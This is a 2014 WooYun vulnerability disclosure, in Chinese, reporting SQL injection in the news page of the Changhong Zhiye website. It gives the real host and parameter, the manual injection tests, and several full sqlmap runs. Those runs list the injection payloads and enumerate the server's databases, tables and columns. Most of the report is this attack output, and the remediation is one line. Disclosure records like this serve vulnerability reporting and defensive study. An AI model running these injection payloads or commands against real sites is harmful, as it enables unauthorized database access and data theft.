当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085016

漏洞标题：长虹置业官方网站SQL注入导致数据泄漏

相关厂商：长虹置业

漏洞作者： 路人甲

提交时间：2014-11-29 15:29

修复时间：2015-01-13 15:30

公开时间：2015-01-13 15:30

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-29： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-01-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

新闻页面存在sql注入漏洞，可得到数据库信息

详细说明：

链接 http://202.98.157.99/news/news.asp?classid=002002
加个单引号试试

1.jpg


and 1=1

2.jpg


and 1=2

3.jpg


存在注入

漏洞证明：

放到sqlmap里跑一下

C:\Users\L\Desktop\sqlmapproject-sqlmap-dcaad75>sqlmap.py -u http://202.98.157.9
9/news/news.asp?classid=002001 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20140911}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:53:30
[21:53:30] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:53:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: classid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: classid=002001 AND 8907=8907
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: classid=-4088 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(118)+C
HAR(119)+CHAR(101)+CHAR(113)+CHAR(122)+CHAR(78)+CHAR(107)+CHAR(75)+CHAR(98)+CHAR
(99)+CHAR(117)+CHAR(100)+CHAR(99)+CHAR(108)+CHAR(113)+CHAR(112)+CHAR(97)+CHAR(11
4)+CHAR(113),NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: classid=002001; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: classid=002001 WAITFOR DELAY '0:0:5'--
---
[21:53:32] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[21:53:32] [INFO] fetching database names
[21:53:32] [INFO] the SQL query used returns 19 entries
[21:53:35] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dvbbs_test2009-"]'
[21:53:35] [INFO] resumed: IMSData
[21:53:35] [INFO] resumed: master
[21:53:35] [INFO] resumed: model
[21:53:35] [INFO] resumed: msdb
[21:53:35] [INFO] resumed: Northwind
[21:53:35] [INFO] resumed: pubs
[21:53:35] [INFO] resumed: tempdb
[21:53:37] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_001_2006"]'
[21:53:39] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_001_2007"]'
[21:53:42] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_001_2008"]'
[21:53:43] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_001_2009"]'
[21:53:45] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_002_2007"]'
[21:53:47] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_002_2008"]'
[21:53:49] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_002_2009"]'
[21:53:50] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): UFDATA_999_2005"]'
[21:53:50] [INFO] resumed: UFSub
[21:53:50] [INFO] resumed: UFSystem
[21:53:52] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): zhiye2009-6-4qp"]'
available databases [9]:
[*] IMSData
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] UFSub
[*] UFSystem
[21:53:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[21:53:52] [INFO] fetched data logged to text files under 'C:\Users\L\.sqlmap\ou
tput\202.98.157.99'
[*] shutting down at 21:53:52
C:\Users\L\Desktop\sqlmapproject-sqlmap-dcaad75>sqlmap.py -u http://202.98.157.9
9/news/news.asp?classid=002001 -D msdb --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20140911}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:55:01
[21:55:03] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:55:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: classid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: classid=002001 AND 8907=8907
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: classid=-4088 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(118)+C
HAR(119)+CHAR(101)+CHAR(113)+CHAR(122)+CHAR(78)+CHAR(107)+CHAR(75)+CHAR(98)+CHAR
(99)+CHAR(117)+CHAR(100)+CHAR(99)+CHAR(108)+CHAR(113)+CHAR(112)+CHAR(97)+CHAR(11
4)+CHAR(113),NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: classid=002001; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: classid=002001 WAITFOR DELAY '0:0:5'--
---
[21:55:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[21:55:11] [INFO] fetching tables for database: msdb
[21:55:13] [INFO] the SQL query used returns 78 entries
[21:55:14] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.backupfileq"]'
[21:55:15] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.log_shippin"]'
[21:55:17] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.logmarkhist"]'
[21:55:19] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.mswebtasksq"]'
[21:55:20] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.restorefile"]'
[21:55:22] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.restorefile"]'
[21:55:24] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.restorehist"]'
[21:55:26] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblClassDe"]'
[21:55:27] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblClassEx"]'
[21:55:29] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblDatabas"]'
[21:55:31] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblDBMProp"]'
[21:55:32] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblDBXProp"]'
[21:55:35] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblDTMProp"]'
[21:55:37] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblDTSProp"]'
[21:55:38] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblEnumera"]'
[21:55:40] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblEnumera"]'
[21:55:42] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblEQMProp"]'
[21:55:43] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblGENProp"]'
[21:55:55] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblIfaceDe"]'
[21:55:57] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblIfaceHi"]'
[21:56:00] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblIfaceMe"]'
[21:56:02] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblMDSProp"]'
[21:56:04] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblNamedOb"]'
[21:56:09] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblOLPProp"]'
[21:56:11] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblParamet"]'
[21:56:12] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblPropDef"]'
[21:56:14] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblPropsqp"]'
[21:56:15] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblRelColD"]'
[21:56:17] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblRelship"]'
[21:56:18] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblRelship"]'
[21:56:20] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblRelship"]'
[21:56:22] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblScriptD"]'
[21:56:24] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblSIMProp"]'
[21:56:25] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblSitesqp"]'
[21:56:27] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblSumInfo"]'
[21:56:28] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblTFMProp"]'
[21:56:30] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblTypeInf"]'
[21:56:31] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblTypeLib"]'
[21:56:33] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblUMLProp"]'
[21:56:35] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblUMXProp"]'
[21:56:37] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblVersion"]'
[21:56:38] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblVersion"]'
[21:56:40] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.RTblWorkspa"]'
[21:56:41] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sqlagent_in"]'
[21:56:43] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysalertsqp"]'
[21:56:44] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.syscachedcr"]'
[21:56:46] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.syscategori"]'
[21:56:48] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysconstrai"]'
[21:56:50] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdbmaintp"]'
[21:56:52] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdbmaintp"]'
[21:56:53] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdbmaintp"]'
[21:56:55] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdbmaintp"]'
[21:56:58] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdownload"]'
[21:57:03] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdtscateg"]'
[21:57:05] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdtspacka"]'
[21:57:06] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdtspacka"]'
[21:57:08] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdtsstepl"]'
[21:57:10] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysdtstaskl"]'
[21:57:13] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobhisto"]'
[21:57:18] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobs_vie"]'
[21:57:22] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobs_vie"]'
[21:57:23] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobsched"]'
[21:57:25] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobserve"]'
[21:57:27] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobsteps"]'
[21:57:29] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysnotifica"]'
[21:57:33] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysoperator"]'
[21:57:35] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.syssegments"]'
[21:57:37] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systargetse"]'
[21:57:51] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systargetse"]'
[21:57:54] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systargetse"]'
[21:57:56] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systargetse"]'
[21:58:05] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systaskidsq"]'
[21:58:07] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systasks_vi"]'
[21:58:09] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.systasks_vi"]'
[21:58:10] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): dbo.sysjobsched"]'
[21:58:10] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[21:58:10] [INFO] the SQL query used returns 72 entries
[21:58:12] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): backupmediafami"]'
[21:58:14] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): backupmediasetq"]'
[21:58:15] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): log_shipping_pr"]'
[21:58:17] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): log_shipping_se"]'
[21:58:18] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): logmarkhistoryq"]'
[21:58:19] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): restorefilegrou"]'
[21:58:21] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): restorefilegrou"]'
[21:58:22] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): restorehistoryq"]'
[21:58:24] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblClassDefsqp"]'
[21:58:25] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblClassExtens"]'
[21:58:28] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblDatabaseVer"]'
[21:58:30] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblDBMPropsqpa"]'
[21:58:33] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblDBXPropsqpa"]'
[21:58:35] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblDTMPropsqpa"]'
[21:58:39] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblDTSPropsqpa"]'
[21:58:45] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblEnumeration"]'
[21:58:48] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblEnumeration"]'
[21:58:51] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblEQMPropsqpa"]'
[21:58:53] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblGENPropsqpa"]'
[21:58:56] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblIfaceDefsqp"]'
[21:58:59] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblIfaceHierqp"]'
[21:59:02] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblIfaceMemqpa"]'
[21:59:04] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblMDSPropsqpa"]'
[21:59:06] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblNamedObjqpa"]'
[21:59:09] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblOLPPropsqpa"]'
[21:59:11] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblParameterDe"]'
[21:59:15] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblPropDefsqpa"]'
[21:59:23] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblRelColDefsq"]'
[21:59:25] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblRelshipDefs"]'
[21:59:27] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblRelshipProp"]'
[21:59:30] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblRelshipsqpa"]'
[21:59:34] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblScriptDefsq"]'
[21:59:36] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblSIMPropsqpa"]'
[21:59:38] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblTFMPropsqpa"]'
[21:59:40] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblTypeInfoqpa"]'
[21:59:42] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblTypeLibsqpa"]'
[21:59:43] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblUMLPropsqpa"]'
[21:59:45] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblUMXPropsqpa"]'
[21:59:48] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblVersionAdmi"]'
[21:59:49] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblVersionsqpa"]'
[21:59:51] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): RTblWorkspaceIt"]'
[21:59:52] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sqlagent_infoqp"]'
[21:59:54] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): syscachedcreden"]'
[21:59:56] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): syscategoriesqp"]'
[21:59:58] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdbmaintplan_"]'
[22:00:01] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdbmaintplan_"]'
[22:00:03] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdbmaintplan_"]'
[22:00:06] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdbmaintplans"]'
[22:00:34] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdownloadlist"]'
[22:00:36] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdtscategorie"]'
[22:00:39] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdtspackagelo"]'
[22:00:42] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdtspackagesq"]'
[22:00:44] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdtssteplogqp"]'
[22:00:45] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysdtstasklogqp"]'
[22:00:47] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysjobhistoryqp"]'
[22:00:48] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysjobschedules"]'
[22:00:51] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysjobschedules"]'
[22:00:52] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysjobserversqp"]'
[22:00:54] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysnotification"]'
[22:00:57] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): sysoperatorsqpa"]'
[22:00:58] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): systargetserver"]'
[22:01:00] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): systargetserver"]'
[22:01:01] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): systargetserver"]'
Database: msdb
[9 tables]
+-------------+
| RTblProps   |
| RTblSites   |
| RTblSumInfo |
| backupfile  |
| backupset   |
| mswebtasks  |
| sysalerts   |
| sysjobsteps |
| systaskids  |
+-------------+
[22:01:01] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 142 times
[22:01:01] [INFO] fetched data logged to text files under 'C:\Users\L\.sqlmap\ou
tput\202.98.157.99'
[*] shutting down at 22:01:01
C:\Users\L\Desktop\sqlmapproject-sqlmap-dcaad75>sqlmap.py -u http://202.98.157.9
9/news/news.asp?classid=002001 -D msdb -T backupfile --columns
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20140911}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:12:43
[22:12:43] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:12:43] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: classid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: classid=002001 AND 8907=8907
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: classid=-4088 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(118)+C
HAR(119)+CHAR(101)+CHAR(113)+CHAR(122)+CHAR(78)+CHAR(107)+CHAR(75)+CHAR(98)+CHAR
(99)+CHAR(117)+CHAR(100)+CHAR(99)+CHAR(108)+CHAR(113)+CHAR(112)+CHAR(97)+CHAR(11
4)+CHAR(113),NULL,NULL,NULL,NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: classid=002001; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: classid=002001 WAITFOR DELAY '0:0:5'--
---
[22:12:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[22:12:45] [INFO] fetching columns for table 'backupfile' in database 'msdb'
[22:12:46] [INFO] the SQL query used returns 13 entries
[22:12:47] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): backed_up_page_"]'
[22:12:52] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): backup_set_idfw"]'
[22:12:55] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): file_numberfwxa"]'
[22:12:57] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): file_sizefwxaul"]'
[22:12:59] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): file_typefwxaul"]'
[22:13:01] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): filegroup_namef"]'
[22:13:04] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): first_family_nu"]'
[22:13:05] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): first_media_num"]'
[22:13:08] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): logical_namefwx"]'
[22:13:10] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): page_sizefwxaul"]'
[22:13:11] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): physical_drivef"]'
[22:13:13] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): physical_namefw"]'
[22:13:16] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): source_file_blo"]'
[22:13:21] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): backup_set_idfw"]'
[22:13:21] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[22:13:21] [WARNING] unable to retrieve column names for table 'backupfile' in d
atabase 'msdb'
do you want to use common column existence check? [y/N/q] y
[22:13:51] [INFO] checking column existence using items from 'C:\Users\L\Desktop
\sqlmapproject-sqlmap-dcaad75\txt\common-columns.txt'
[22:13:51] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[22:14:00] [INFO] starting 10 threads
[22:23:58] [INFO] tried 2499/2499 items (100%)
Database: msdb
Table: backupfile
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| user   | non-numeric |
+--------+-------------+
[*] shutting down at 22:24:01

修复方案：

过滤特殊字符

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝